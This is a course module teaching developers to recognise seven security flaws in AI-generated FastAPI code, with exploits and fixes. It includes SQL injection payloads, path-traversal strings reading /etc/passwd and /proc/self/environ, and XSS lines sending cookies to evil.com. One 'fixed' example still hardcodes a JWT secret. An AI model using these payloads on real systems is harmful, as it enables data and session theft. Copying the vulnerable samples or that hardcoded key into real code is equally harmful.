Module 5: Common Error Patterns

Typical Security Holes in AI-Generated Code

Next →

Typical Security Holes in AI-Generated Code

Capsule overview

Security vulnerabilities are the errors with the greatest potential impact. An unhandled edge case causes a crash — a security hole can expose the data of all your users, allow unauthorized access, or destroy your database. And the worst part: the code looks correct.

AI generates security vulnerabilities because it prioritizes functionality over defense. When you ask it for "an endpoint to search users," it generates one that works — with a query that concatenates strings directly into SQL. When you ask it for "a login endpoint," it generates one that validates credentials — with no rate limiting, no protection against brute force.

This capsule covers 7 categories of security holes that AI frequently generates. Each one includes: the vulnerable code, why it passes a superficial code review, how to exploit it, and the complete fix. You don't need to be a security expert — you need to recognize the patterns.

Category 1: SQL Injection via String Concatenation

The problem

AI builds SQL queries by concatenating strings or using f-strings instead of parameterized queries. It's the most classic vulnerability and AI generates it consistently.

Code AI generates

from fastapi import FastAPI, Query
import sqlite3

app = FastAPI()

DB_PATH = "app.db"


def get_db_connection() -> sqlite3.Connection:
    return sqlite3.connect(DB_PATH)


@app.get("/users/search")
async def search_users(
    username: str = Query(...),
    role: str = Query(default="user"),
) -> dict:
    conn = get_db_connection()
    cursor = conn.cursor()

    query = f"SELECT id, username, email, role FROM users WHERE username LIKE '%{username}%' AND role = '{role}'"
    cursor.execute(query)
    results = cursor.fetchall()
    conn.close()

    return {
        "query": username,
        "results": [
            {"id": r[0], "username": r[1], "email": r[2], "role": r[3]}
            for r in results
        ],
    }


@app.delete("/users/{user_id}")
async def delete_user(user_id: int) -> dict:
    conn = get_db_connection()
    cursor = conn.cursor()

    cursor.execute(f"DELETE FROM users WHERE id = {user_id}")
    conn.commit()
    conn.close()

    return {"deleted": user_id}

Why it looks good at first glance

  • The endpoint works correctly with normal inputs
  • It uses SQLite correctly (connect, cursor, execute, close)
  • The FastAPI types are declared
  • The response structure is clean

How it's exploited

# Attack 1: Extract all users (filter bypass)
# GET /users/search?username=' OR '1'='1&role=admin
# Resulting query:
# SELECT ... WHERE username LIKE '%' OR '1'='1%' AND role = 'admin'
# → Returns all users

# Attack 2: Extract passwords (UNION injection)
# GET /users/search?username=' UNION SELECT id,username,password,role FROM users--
# Resulting query:
# SELECT ... WHERE username LIKE '%' UNION SELECT id,username,password,role FROM users--%'
# → Returns all users' passwords

# Attack 3: Delete the whole table (destructive injection)
# DELETE /users/0; DROP TABLE users; --
# Resulting query:
# DELETE FROM users WHERE id = 0; DROP TABLE users; --
# → Deletes the entire users table

# Attack 4: Authentication bypass
# GET /users/search?role=admin' OR '1'='1
# Resulting query:
# SELECT ... AND role = 'admin' OR '1'='1'
# → Returns all users as if they were admin

The fix

from contextlib import contextmanager
from fastapi import FastAPI, Query, HTTPException
import sqlite3

app = FastAPI()

DB_PATH = "app.db"


@contextmanager
def get_db_connection():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    try:
        yield conn
    finally:
        conn.close()


@app.get("/users/search")
async def search_users(
    username: str = Query(..., min_length=1, max_length=100),
    role: str = Query(default="user", pattern="^(user|admin|moderator)$"),
) -> dict:
    with get_db_connection() as conn:
        cursor = conn.cursor()
        cursor.execute(
            "SELECT id, username, email, role FROM users WHERE username LIKE ? AND role = ?",
            (f"%{username}%", role),
        )
        results = cursor.fetchall()

    return {
        "query": username,
        "results": [dict(r) for r in results],
    }


@app.delete("/users/{user_id}")
async def delete_user(user_id: int) -> dict:
    with get_db_connection() as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT id FROM users WHERE id = ?", (user_id,))
        if cursor.fetchone() is None:
            raise HTTPException(status_code=404, detail="User not found")

        cursor.execute("DELETE FROM users WHERE id = ?", (user_id,))
        conn.commit()

    return {"deleted": user_id}

Key changes:

  • ? as placeholders — SQLite escapes the values automatically
  • A context manager for the connection — it always closes, even with exceptions
  • row_factory = sqlite3.Row — access by name instead of by index
  • Validation of role with a regex pattern — only accepts known values
  • Existence check before delete
  • min_length and max_length on username — prevents empty or absurdly long inputs

Warning sign

Look for f-strings (f"SELECT...") or concatenation ("SELECT..." + variable) inside SQL queries. If you see the variable directly in the query string, it's SQL injection.

Category 2: Hardcoded Secrets and API Keys

The problem

AI generates code with secrets directly in the source code. Passwords, API keys, JWT secrets, connection strings — all visible in the repository.

Code AI generates

from fastapi import FastAPI, Depends, HTTPException
from jose import jwt
from datetime import datetime, timedelta
import httpx

app = FastAPI()

JWT_SECRET = "my-super-secret-key-2024"
JWT_ALGORITHM = "HS256"
DATABASE_URL = "postgresql://admin:password123@db.production.example.com:5432/myapp"
STRIPE_API_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
SENDGRID_API_KEY = "SG.xxxxxxxxxxxxxxxxxxxxx.yyyyyyyyyyyyyyyyyyyyyy"
AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"


def create_access_token(user_id: int) -> str:
    payload = {
        "sub": str(user_id),
        "exp": datetime.utcnow() + timedelta(hours=24),
    }
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)


async def send_welcome_email(email: str) -> None:
    async with httpx.AsyncClient() as client:
        await client.post(
            "https://api.sendgrid.com/v3/mail/send",
            headers={"Authorization": f"Bearer {SENDGRID_API_KEY}"},
            json={
                "personalizations": [{"to": [{"email": email}]}],
                "from": {"email": "noreply@myapp.com"},
                "subject": "Welcome!",
                "content": [{"type": "text/plain", "value": "Welcome to our app!"}],
            },
        )


async def charge_customer(amount: int, token: str) -> dict:
    async with httpx.AsyncClient() as client:
        response = await client.post(
            "https://api.stripe.com/v1/charges",
            headers={"Authorization": f"Bearer {STRIPE_API_KEY}"},
            data={"amount": amount, "currency": "usd", "source": token},
        )
        return response.json()

Why it looks good at first glance

  • The code works correctly
  • The secrets have clear names as constants
  • The calls to external APIs are correct
  • The structure is organized

The real impact

If this code reaches a git repository (even a private one):

1. JWT_SECRET exposed → Anyone can create valid tokens
   → Total access to all accounts

2. DATABASE_URL with a password → Direct access to the production database
   → Complete dump of user data

3. STRIPE_API_KEY (sk_live_) → Production Stripe key
   → They can make charges in your company's name

4. AWS keys → Access to all your AWS infrastructure
   → Cryptocurrency mining, resource destruction, data exfiltration

5. SENDGRID_API_KEY → They can send emails in your domain's name
   → Phishing against your users

Potential cost: from thousands to millions of dollars.
Time to exploit: minutes after an accidental push.
Git remembers forever: deleting the commit doesn't remove the secret from history.

The fix

from fastapi import FastAPI
from pydantic_settings import BaseSettings
from functools import lru_cache
from jose import jwt
from datetime import datetime, timedelta, timezone


class Settings(BaseSettings):
    jwt_secret: str
    jwt_algorithm: str = "HS256"
    jwt_expiration_hours: int = 24
    database_url: str
    stripe_api_key: str
    sendgrid_api_key: str
    aws_access_key: str
    aws_secret_key: str

    model_config = {"env_file": ".env", "env_file_encoding": "utf-8"}


@lru_cache
def get_settings() -> Settings:
    return Settings()


app = FastAPI()


def create_access_token(user_id: int) -> str:
    settings = get_settings()
    payload = {
        "sub": str(user_id),
        "exp": datetime.now(timezone.utc) + timedelta(hours=settings.jwt_expiration_hours),
    }
    return jwt.encode(payload, settings.jwt_secret, algorithm=settings.jwt_algorithm)

Key changes:

  • BaseSettings loads values from environment variables or a .env file
  • jwt_secret: str with no default — fails at startup if it's not configured (fail-fast)
  • @lru_cache caches the configuration in memory
  • The .env file must be in .gitignore
  • datetime.now(timezone.utc) instead of datetime.utcnow() (deprecated)

.env file (never in git):

JWT_SECRET=your-actual-secret-here-generated-with-openssl
DATABASE_URL=postgresql://user:pass@localhost:5432/myapp
STRIPE_API_KEY=sk_test_...
SENDGRID_API_KEY=SG.xxx
AWS_ACCESS_KEY=AKIA...
AWS_SECRET_KEY=wJalr...

.gitignore file:

.env
.env.*
!.env.example

Warning sign

Look for strings that look like secrets: values starting with sk_, SG., AKIA, or any long random-looking string assigned to a constant. Also look for password, secret, key, token as constant names with hardcoded values.

Category 3: Endpoints Without Authentication

The problem

AI generates endpoints that work but don't check whether the user has permission to access them. Especially common in admin, deletion, or other-users'-data endpoints.

Code AI generates

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()


class UserUpdate(BaseModel):
    email: str | None = None
    role: str | None = None
    is_active: bool | None = None


users_db: dict[int, dict] = {
    1: {"id": 1, "username": "alice", "email": "alice@example.com", "role": "user", "is_active": True},
    2: {"id": 2, "username": "bob", "email": "bob@example.com", "role": "admin", "is_active": True},
}


@app.get("/admin/users")
async def list_all_users() -> list[dict]:
    return list(users_db.values())


@app.put("/users/{user_id}")
async def update_user(user_id: int, update: UserUpdate) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")

    user = users_db[user_id]
    if update.email is not None:
        user["email"] = update.email
    if update.role is not None:
        user["role"] = update.role
    if update.is_active is not None:
        user["is_active"] = update.is_active

    return user


@app.delete("/users/{user_id}")
async def delete_user(user_id: int) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")
    del users_db[user_id]
    return {"deleted": user_id}


@app.get("/users/{user_id}/private-data")
async def get_user_private_data(user_id: int) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")
    user = users_db[user_id]
    return {
        "email": user["email"],
        "role": user["role"],
        "last_ip": "192.168.1.100",
        "login_history": ["2024-01-15", "2024-01-14"],
    }

How it's exploited

Anyone with access to the API can:

1. GET /admin/users
   → See all users without being an admin

2. PUT /users/2 {"role": "admin"}
   → A normal user gives themselves admin permissions

3. DELETE /users/2
   → Anyone can delete any user

4. GET /users/1/private-data
   → See other users' private data (email, IP, history)

5. PUT /users/1 {"is_active": false}
   → Deactivate another user's account

There's no mechanism that verifies: (a) that the request comes from an authenticated user, (b) that that user has permission for the operation.

The fix

from fastapi import FastAPI, HTTPException, Depends
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from pydantic import BaseModel
from jose import jwt, JWTError

app = FastAPI()

security = HTTPBearer()


class UserUpdate(BaseModel):
    email: str | None = None


class AdminUserUpdate(BaseModel):
    email: str | None = None
    role: str | None = None
    is_active: bool | None = None


users_db: dict[int, dict] = {
    1: {"id": 1, "username": "alice", "email": "alice@example.com", "role": "user", "is_active": True},
    2: {"id": 2, "username": "bob", "email": "bob@example.com", "role": "admin", "is_active": True},
}


async def get_current_user(
    credentials: HTTPAuthorizationCredentials = Depends(security),
) -> dict:
    try:
        payload = jwt.decode(
            credentials.credentials,
            "secret",
            algorithms=["HS256"],
        )
        user_id = int(payload["sub"])
    except (JWTError, KeyError, ValueError):
        raise HTTPException(status_code=401, detail="Invalid token")

    user = users_db.get(user_id)
    if user is None or not user.get("is_active"):
        raise HTTPException(status_code=401, detail="User not found or inactive")
    return user


async def require_admin(current_user: dict = Depends(get_current_user)) -> dict:
    if current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Admin access required")
    return current_user


@app.get("/admin/users")
async def list_all_users(admin: dict = Depends(require_admin)) -> list[dict]:
    return list(users_db.values())


@app.put("/users/{user_id}")
async def update_user(
    user_id: int,
    update: UserUpdate,
    current_user: dict = Depends(get_current_user),
) -> dict:
    if current_user["id"] != user_id:
        raise HTTPException(status_code=403, detail="Can only update your own profile")

    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")

    user = users_db[user_id]
    if update.email is not None:
        user["email"] = update.email
    return user


@app.delete("/users/{user_id}")
async def delete_user(
    user_id: int,
    admin: dict = Depends(require_admin),
) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")
    if user_id == admin["id"]:
        raise HTTPException(status_code=400, detail="Cannot delete yourself")
    del users_db[user_id]
    return {"deleted": user_id}


@app.get("/users/{user_id}/private-data")
async def get_user_private_data(
    user_id: int,
    current_user: dict = Depends(get_current_user),
) -> dict:
    if current_user["id"] != user_id and current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Access denied")

    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")

    user = users_db[user_id]
    return {
        "email": user["email"],
        "role": user["role"],
    }

Key changes:

  • The get_current_user dependency validates the JWT token on every request
  • require_admin extends get_current_user by checking the role
  • Normal users can only edit their own profile
  • Only admins can delete users (but not themselves)
  • Private data is only accessible by the user themselves or an admin
  • UserUpdate (for normal users) doesn't allow changing role or is_active

Warning sign

Endpoints with @app.delete, @app.put, or routes with /admin/ that don't have Depends(...) in their parameters. If an endpoint modifies data or exposes sensitive information and doesn't have an authentication dependency, it's a security hole.

Category 4: XSS in Template Rendering

The problem

AI generates code that inserts user data directly into HTML without escaping, allowing malicious JavaScript to run.

Code AI generates

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()

comments: list[dict] = []


@app.post("/comments")
async def add_comment(request: Request) -> dict:
    form = await request.form()
    comment = {
        "author": form.get("author", "Anonymous"),
        "text": form.get("text", ""),
    }
    comments.append(comment)
    return comment


@app.get("/comments", response_class=HTMLResponse)
async def show_comments() -> str:
    html = "<html><body><h1>Comments</h1>"
    for comment in comments:
        html += f"""
        <div class="comment">
            <strong>{comment['author']}</strong>
            <p>{comment['text']}</p>
        </div>
        """
    html += "</body></html>"
    return html

How it's exploited

# Attack: inject JavaScript via the "text" field
# POST /comments
# text=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
# author=Hacker

# When any user visits GET /comments:
# The browser runs the injected script
# → Sends the session cookies to the attacker's server
# → The attacker can impersonate the user

# A more subtle attack (without <script>):
# text=<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
# → Looks like a broken image, but runs JavaScript

# Defacing attack:
# text=<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:9999"><h1>HACKED</h1></div>
# → Covers the whole page with a message

The fix

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse
from markupsafe import escape

app = FastAPI()

comments: list[dict] = []

MAX_COMMENT_LENGTH = 1000
MAX_AUTHOR_LENGTH = 50


@app.post("/comments")
async def add_comment(request: Request) -> dict:
    form = await request.form()
    author = str(form.get("author", "Anonymous"))[:MAX_AUTHOR_LENGTH]
    text = str(form.get("text", ""))[:MAX_COMMENT_LENGTH]

    comment = {
        "author": author,
        "text": text,
    }
    comments.append(comment)
    return comment


@app.get("/comments", response_class=HTMLResponse)
async def show_comments() -> str:
    html = "<html><body><h1>Comments</h1>"
    for comment in comments:
        safe_author = escape(comment["author"])
        safe_text = escape(comment["text"])
        html += f"""
        <div class="comment">
            <strong>{safe_author}</strong>
            <p>{safe_text}</p>
        </div>
        """
    html += "</body></html>"
    return html

Key changes:

  • markupsafe.escape() converts <script> into &lt;script&gt; — it's shown as text, not executed
  • A length limit on inputs — prevents huge payloads
  • str() wrapping prevents unexpected types

Even better: use Jinja2 templates (which escape automatically):

from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/comments")
async def show_comments(request: Request):
    return templates.TemplateResponse(
        "comments.html",
        {"request": request, "comments": comments},
    )

Jinja2 escapes HTML automatically by default — it eliminates the entire class of XSS vulnerability.

Warning sign

Look for f-strings that generate HTML with user data. If you see f"<div>{user_data}</div>" without escape(), it's XSS.

Category 5: CORS Misconfiguration

The problem

AI configures CORS with allow_origins=["*"] so that it "works," allowing any website to make requests to your API.

Code AI generates

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

The real problem

allow_origins=["*"] with allow_credentials=True is particularly dangerous. It allows any website to:

  1. Make requests to your API with the user's cookies
  2. Read the responses (sensitive data)
  3. Perform actions as if it were the user
Attack scenario:

1. The user is logged in at your-app.com (has a session cookie)
2. The user visits evil-site.com (the attacker's site)
3. evil-site.com does fetch("https://your-api.com/users/me")
4. The browser sends the session cookie automatically
5. Your API responds with the user's data
6. evil-site.com reads the response → it has the user's data

The fix

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from pydantic_settings import BaseSettings


class Settings(BaseSettings):
    allowed_origins: list[str] = ["http://localhost:3000"]
    environment: str = "development"

    model_config = {"env_prefix": "APP_"}


settings = Settings()

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=settings.allowed_origins,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

Key changes:

  • Explicit origins instead of "*" — only your frontend can make requests
  • Explicit methods — only the HTTP methods your API uses
  • Explicit headers — only the headers your frontend needs
  • Configuration via environment variables — different per environment

Warning sign

Look for allow_origins=["*"] in any CORS middleware. If there's also allow_credentials=True, it's a serious security problem.

Category 6: Missing Rate Limiting

The problem

AI doesn't add rate limiting to sensitive endpoints. Without limits, an attacker can make thousands of requests per second to brute-force passwords, exhaust resources, or scrape data.

Code AI generates

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()


class LoginRequest(BaseModel):
    username: str
    password: str


@app.post("/login")
async def login(request: LoginRequest) -> dict:
    user = authenticate(request.username, request.password)
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")
    return {"token": create_token(user["id"])}


@app.post("/forgot-password")
async def forgot_password(email: str) -> dict:
    send_reset_email(email)
    return {"message": "If the email exists, a reset link was sent"}

How it's exploited

Brute-force on /login:
- A script tries 10,000 passwords per minute
- Without rate limiting, each attempt is processed
- With common passwords, access is achieved in hours

Email bombing on /forgot-password:
- A script sends 1,000 requests with the victim's email
- The victim receives 1,000 password reset emails
- Your email service can be blocked for spam

The fix

from fastapi import FastAPI, HTTPException, Request
from pydantic import BaseModel
from datetime import datetime, timedelta

app = FastAPI()

login_attempts: dict[str, list[datetime]] = {}
MAX_LOGIN_ATTEMPTS = 5
LOGIN_WINDOW_MINUTES = 15

password_reset_attempts: dict[str, list[datetime]] = {}
MAX_RESET_ATTEMPTS = 3
RESET_WINDOW_MINUTES = 60


def check_rate_limit(
    key: str,
    store: dict[str, list[datetime]],
    max_attempts: int,
    window_minutes: int,
) -> None:
    """Checks the rate limit. Raises 429 if exceeded."""
    now = datetime.now()
    window_start = now - timedelta(minutes=window_minutes)

    if key not in store:
        store[key] = []

    store[key] = [t for t in store[key] if t > window_start]

    if len(store[key]) >= max_attempts:
        raise HTTPException(
            status_code=429,
            detail=f"Too many attempts. Try again in {window_minutes} minutes.",
        )

    store[key].append(now)


class LoginRequest(BaseModel):
    username: str
    password: str


@app.post("/login")
async def login(request: LoginRequest, req: Request) -> dict:
    client_ip = req.client.host if req.client else "unknown"
    rate_key = f"{client_ip}:{request.username}"

    check_rate_limit(rate_key, login_attempts, MAX_LOGIN_ATTEMPTS, LOGIN_WINDOW_MINUTES)

    user = authenticate(request.username, request.password)
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")

    login_attempts.pop(rate_key, None)
    return {"token": create_token(user["id"])}


@app.post("/forgot-password")
async def forgot_password(email: str, req: Request) -> dict:
    client_ip = req.client.host if req.client else "unknown"

    check_rate_limit(client_ip, password_reset_attempts, MAX_RESET_ATTEMPTS, RESET_WINDOW_MINUTES)

    send_reset_email(email)
    return {"message": "If the email exists, a reset link was sent"}

Key changes:

  • Rate limit by IP + username on login — prevents brute-force
  • Rate limit by IP on reset — prevents email bombing
  • Cleanup of successful attempts — a successful login resets the counter
  • HTTP 429 (Too Many Requests) — a standard status code

Warning sign

/login, /register, /forgot-password, /verify-code endpoints with no rate limit protection. Any endpoint that validates credentials needs rate limiting.

Category 7: Information Exposure in Error Messages and Path Traversal

The problem: Information Exposure

AI generates error messages that are too detailed and reveal internal system information: stack traces, table names, software versions, filesystem paths.

Code AI generates

from fastapi import FastAPI, HTTPException
import traceback

app = FastAPI()


@app.get("/users/{user_id}")
async def get_user(user_id: int) -> dict:
    try:
        user = query_database(f"SELECT * FROM users WHERE id = {user_id}")
        return user
    except Exception as e:
        raise HTTPException(
            status_code=500,
            detail={
                "error": str(e),
                "traceback": traceback.format_exc(),
                "query": f"SELECT * FROM users WHERE id = {user_id}",
                "database": "postgresql://admin:pass@db.internal:5432/prod",
            },
        )

An attacker who receives this error gets: the SQL query, the connection string (with the password), the stack trace (reveals libraries and versions), and the table structure.

The fix for Information Exposure

import logging
import uuid
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import JSONResponse

app = FastAPI()
logger = logging.getLogger(__name__)


@app.exception_handler(Exception)
async def global_exception_handler(request: Request, exc: Exception) -> JSONResponse:
    error_id = str(uuid.uuid4())[:8]
    logger.error(
        "Unhandled error %s: %s | Path: %s",
        error_id,
        str(exc),
        request.url.path,
        exc_info=True,
    )
    return JSONResponse(
        status_code=500,
        content={
            "error": "Internal server error",
            "error_id": error_id,
            "message": "An unexpected error occurred. Contact support with the error_id.",
        },
    )

The problem: Path Traversal

AI generates file-download endpoints without validating the path, allowing access to system files.

Code AI generates

from fastapi import FastAPI
from fastapi.responses import FileResponse

app = FastAPI()

UPLOAD_DIR = "/app/uploads"


@app.get("/files/{filename}")
async def download_file(filename: str) -> FileResponse:
    filepath = f"{UPLOAD_DIR}/{filename}"
    return FileResponse(filepath)

How it's exploited

# Attack: path traversal
# GET /files/../../etc/passwd
# filepath = "/app/uploads/../../etc/passwd" = "/etc/passwd"
# → Returns the system password file

# GET /files/../../../app/config.py
# → Returns the application's source code (with secrets)

# GET /files/../../proc/self/environ
# → Returns the process's environment variables (with API keys)

The fix for Path Traversal

from pathlib import Path
from fastapi import FastAPI, HTTPException
from fastapi.responses import FileResponse

app = FastAPI()

UPLOAD_DIR = Path("/app/uploads").resolve()


@app.get("/files/{filename}")
async def download_file(filename: str) -> FileResponse:
    if ".." in filename or "/" in filename or "\\" in filename:
        raise HTTPException(status_code=400, detail="Invalid filename")

    filepath = (UPLOAD_DIR / filename).resolve()

    if not filepath.is_relative_to(UPLOAD_DIR):
        raise HTTPException(status_code=403, detail="Access denied")

    if not filepath.is_file():
        raise HTTPException(status_code=404, detail="File not found")

    return FileResponse(filepath)

Key changes:

  • Double validation: first it rejects suspicious characters, then it verifies with is_relative_to
  • Path.resolve() resolves symlinks and .. — the final path is compared against the allowed directory
  • is_file() verifies that it exists and is a file (not a directory)

Warning sign

Look for f"{directory}/{user_input}" or os.path.join(dir, user_input) without validation. If user input is used to build file paths, it's potential path traversal.

Summary of Warning Signs

Quick security checklist:

☐ f-strings or concatenation inside SQL queries
  → Use parameterized queries (? or %s)

☐ Strings that look like secrets assigned to constants
  → Move to environment variables with pydantic-settings

☐ Endpoints that modify/delete data without Depends()
  → Add an authentication dependency

☐ f-strings that generate HTML with user data
  → Use markupsafe.escape() or Jinja2

☐ allow_origins=["*"] with allow_credentials=True
  → Specify explicit origins

☐ /login and /forgot-password without rate limiting
  → Implement limits by IP and/or user

☐ Error messages with a traceback or connection strings
  → Detailed internal log, generic response to the client

☐ User input used to build file paths
  → Validate with Path.resolve() and is_relative_to()

Connection to the Project

The capstone project in module 8 contains 3-4 security holes. Look specifically for:

  • ✅ At least one SQL query with string concatenation
  • ✅ At least one hardcoded secret in the code
  • ✅ At least one endpoint without authentication that should have it
  • ✅ Possibly XSS or CORS misconfiguration

The patterns in this capsule are exactly what you'll find in the project.

Troubleshooting

"Are parameterized queries as flexible as f-strings?"

Yes. Any query you can write with f-strings you can write with parameters. Parameters only replace values, not SQL structure. For dynamic queries (optional filters), build the query structure in Python and pass the values as parameters.

"If I use an ORM like SQLAlchemy, am I protected against SQL injection?"

In general yes, if you use the ORM's API. But if you use text() with f-strings or execute() with concatenated queries, you're still vulnerable. The ORM protects when you use its methods (.filter(), .where()).

"Can I use allow_origins=['*'] without allow_credentials?"

Yes, for public APIs without authentication (open data, reference APIs). But if your API uses any form of authentication (cookies, tokens), don't use "*".

"Is in-memory rate limiting enough for production?"

Not for production with multiple workers. In production, use Redis for rate limiting shared between workers. The in-memory approach is adequate for development and MVPs with a single worker.

"How do I detect whether my current code has these problems?"

Tools like bandit (a Python security linter) detect many of these patterns automatically. Run pip install bandit && bandit -r . for a quick scan of your codebase.

Exercises

Exercise 1: Find the SQL injection

Identify the vulnerability and fix it:

from fastapi import FastAPI
import sqlite3

app = FastAPI()

@app.get("/products")
async def search_products(category: str, min_price: float = 0) -> list[dict]:
    conn = sqlite3.connect("shop.db")
    cursor = conn.cursor()
    query = f"SELECT * FROM products WHERE category = '{category}' AND price >= {min_price}"
    cursor.execute(query)
    results = cursor.fetchall()
    conn.close()
    return [{"id": r[0], "name": r[1], "price": r[2]} for r in results]
See solution 
from fastapi import FastAPI, Query
from contextlib import contextmanager
import sqlite3

app = FastAPI()

@contextmanager
def get_db():
    conn = sqlite3.connect("shop.db")
    conn.row_factory = sqlite3.Row
    try:
        yield conn
    finally:
        conn.close()

@app.get("/products")
async def search_products(
    category: str = Query(..., min_length=1, max_length=50),
    min_price: float = Query(default=0, ge=0),
) -> list[dict]:
    with get_db() as conn:
        cursor = conn.cursor()
        cursor.execute(
            "SELECT id, name, price FROM products WHERE category = ? AND price >= ?",
            (category, min_price),
        )
        return [dict(r) for r in cursor.fetchall()]

Both values (category and min_price) go as ? parameters. The context manager guarantees the connection always closes.

Exercise 2: Remove hardcoded secrets

Convert these secrets to secure configuration:

app = FastAPI()

OPENAI_API_KEY = "sk-proj-abc123def456ghi789"
REDIS_URL = "redis://:mypassword@redis.internal:6379/0"
ADMIN_EMAIL = "admin@company.com"
WEBHOOK_SECRET = "whsec_1234567890abcdef"
See solution 
from pydantic_settings import BaseSettings
from functools import lru_cache
from fastapi import FastAPI

class Settings(BaseSettings):
    openai_api_key: str
    redis_url: str
    admin_email: str = "admin@company.com"
    webhook_secret: str

    model_config = {"env_file": ".env"}

@lru_cache
def get_settings() -> Settings:
    return Settings()

app = FastAPI()

.env.example file (to document which variables are needed, goes into the repo):

OPENAI_API_KEY=your-key-here
REDIS_URL=redis://localhost:6379/0
ADMIN_EMAIL=admin@company.com
WEBHOOK_SECRET=your-webhook-secret

admin_email has a default because it isn't sensitive. The secrets (openai_api_key, redis_url, webhook_secret) have no default — the app fails if they aren't configured.

Exercise 3: Add authentication to an endpoint

This endpoint lets anyone view any user's data. Add authentication and authorization to it:

from fastapi import FastAPI

app = FastAPI()

@app.get("/users/{user_id}/billing")
async def get_billing_info(user_id: int) -> dict:
    return {
        "user_id": user_id,
        "credit_card_last4": "4242",
        "billing_address": "123 Main St",
        "balance": 150.00,
    }
See solution 
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from jose import jwt, JWTError
from functools import lru_cache

app = FastAPI()
security = HTTPBearer()

@lru_cache
def get_jwt_secret() -> str:
    from pydantic_settings import BaseSettings
    class S(BaseSettings):
        jwt_secret: str
        model_config = {"env_file": ".env"}
    return S().jwt_secret

async def get_current_user(
    credentials: HTTPAuthorizationCredentials = Depends(security),
) -> dict:
    try:
        payload = jwt.decode(
            credentials.credentials,
            get_jwt_secret(),
            algorithms=["HS256"],
        )
        return {"id": int(payload["sub"]), "role": payload.get("role", "user")}
    except (JWTError, KeyError, ValueError):
        raise HTTPException(status_code=401, detail="Invalid token")

@app.get("/users/{user_id}/billing")
async def get_billing_info(
    user_id: int,
    current_user: dict = Depends(get_current_user),
) -> dict:
    if current_user["id"] != user_id and current_user["role"] != "admin":
        raise HTTPException(status_code=403, detail="Access denied")

    return {
        "user_id": user_id,
        "credit_card_last4": "4242",
        "billing_address": "123 Main St",
        "balance": 150.00,
    }

A user can only view their own billing info. Admins can view anyone's.

Exercise 4: Fix CORS and add rate limiting

Fix the CORS configuration and add rate limiting to the login endpoint:

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.post("/auth/login")
async def login(username: str, password: str) -> dict:
    user = db.authenticate(username, password)
    if not user:
        raise HTTPException(status_code=401, detail=f"User {username} not found or wrong password")
    return {"token": create_token(user.id)}
See solution 
from fastapi import FastAPI, HTTPException, Request
from fastapi.middleware.cors import CORSMiddleware
from pydantic import BaseModel
from datetime import datetime, timedelta

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://myapp.com", "http://localhost:3000"],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

login_attempts: dict[str, list[datetime]] = {}

class LoginRequest(BaseModel):
    username: str
    password: str

@app.post("/auth/login")
async def login(request: LoginRequest, req: Request) -> dict:
    client_ip = req.client.host if req.client else "unknown"
    now = datetime.now()
    window = now - timedelta(minutes=15)

    if client_ip not in login_attempts:
        login_attempts[client_ip] = []
    login_attempts[client_ip] = [t for t in login_attempts[client_ip] if t > window]

    if len(login_attempts[client_ip]) >= 5:
        raise HTTPException(status_code=429, detail="Too many login attempts")

    login_attempts[client_ip].append(now)

    user = db.authenticate(request.username, request.password)
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")

    login_attempts.pop(client_ip, None)
    return {"token": create_token(user.id)}

Three fixes:

  1. CORS with explicit origins
  2. Rate limiting: 5 attempts per 15 minutes per IP
  3. A generic error message ("Invalid credentials") — doesn't reveal whether the user exists

Summary

  • SQL injection is the most classic vulnerability and AI generates it consistently — look for f-strings in queries
  • Hardcoded secrets are immediately exploitable if the code reaches a repo — use pydantic-settings
  • Endpoints without auth allow total access to sensitive data — every modifying endpoint needs Depends()
  • XSS allows malicious JavaScript to run in your users' browsers — escape HTML or use Jinja2
  • CORS misconfiguration allows malicious sites to make requests with the user's cookies
  • Missing rate limiting allows brute-force of passwords and resource abuse
  • Information exposure in errors reveals internal data — detailed internal log, generic response to the client
